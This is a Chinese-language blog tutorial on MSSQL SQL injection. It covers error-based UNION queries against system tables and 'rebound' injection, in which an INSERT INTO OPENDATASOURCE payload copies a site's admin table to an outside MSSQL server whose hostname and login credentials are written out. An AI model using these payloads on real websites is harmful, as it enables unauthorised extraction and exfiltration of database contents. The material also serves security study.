• MSSQL注入:显错注入及反弹注入


    前言:

    MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路。

    MSSQL的显错注入操作:

    以联合查询为例:

    猜字段
    联合查询:union all
    猜出输出点使用null填充
    注释只有 --+、-- a 没有#
    查询系统库:select name,null,...... from dbo.sysdatabases 可以不用查库名
    查询系统表:select name,null,...... from dbo.sysobjects where xtype='U' //U表示用户创建表
    查询表中的字段:select name,null,...... from dbo.syscolumns where id= 表名对应的id

    MSSQL反弹注入:

    MSSQL反弹注入的使用场景

    命名是SQL的注入点却无法进行注入操作,注入工具猜解的速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是在注入攻击中常常遇到的问题。

    为了解决以上这些疑难杂症,比较好的解决方法就是使用反弹注入技术,而反弹注入技术则需要依靠opendatasource函数支持。

    环境的搭建:

    我们前面说到,MSSQL注入 — 反弹注入实际就是把查询出来的数据发送到我们的MSSQL服务器上,那么我们需要自己的MSSQL数据库和一个公网IP。

    香港云(http://www.webweb.com/) 随便拿个邮箱然后注册就行
    香港云如果失效:https://my.gearhost.com/CloudSite
    数据库连接器:http://mssqlus.webweb.com/

    反弹注入语句解析:

    insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --

    Insert into 很明显是插入语句 然后出现了个opendatasource。
    
    opendatasource 为了方便理解,可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
    
    语法:
    OPENDATASOURCE(provider_name,init_string)
    
    provider_name 
    	注册为用于访问数据源的OLE DB 提供程序的PROGID的名称                 MSSQL的名称为SQLOLEDB
    
    init_string
    	连接字符串 
    	连接地址、端口、用户名、密码、数据库名
    	server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称
    
    连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp  把后面语句的查询结果插入到那个表里面
    
  • 相关阅读:
    我在项目内使用了设计模式后,同事直呼看不懂
    pom文件中依赖找不到的根本解决方法
    基于session的传统认证授权详解
    python中2个字典比较
    编码设计应遵循的规则
    yarn任务执行流程
    python3 中print 显示不全问题
    pandas 可视化
    python时间大小判断,相差天数秒数计算
    Impala任务程序cancle
  • 原文地址:https://www.cnblogs.com/yanlzy/p/11938640.html
Copyright © 2020-2023  润新知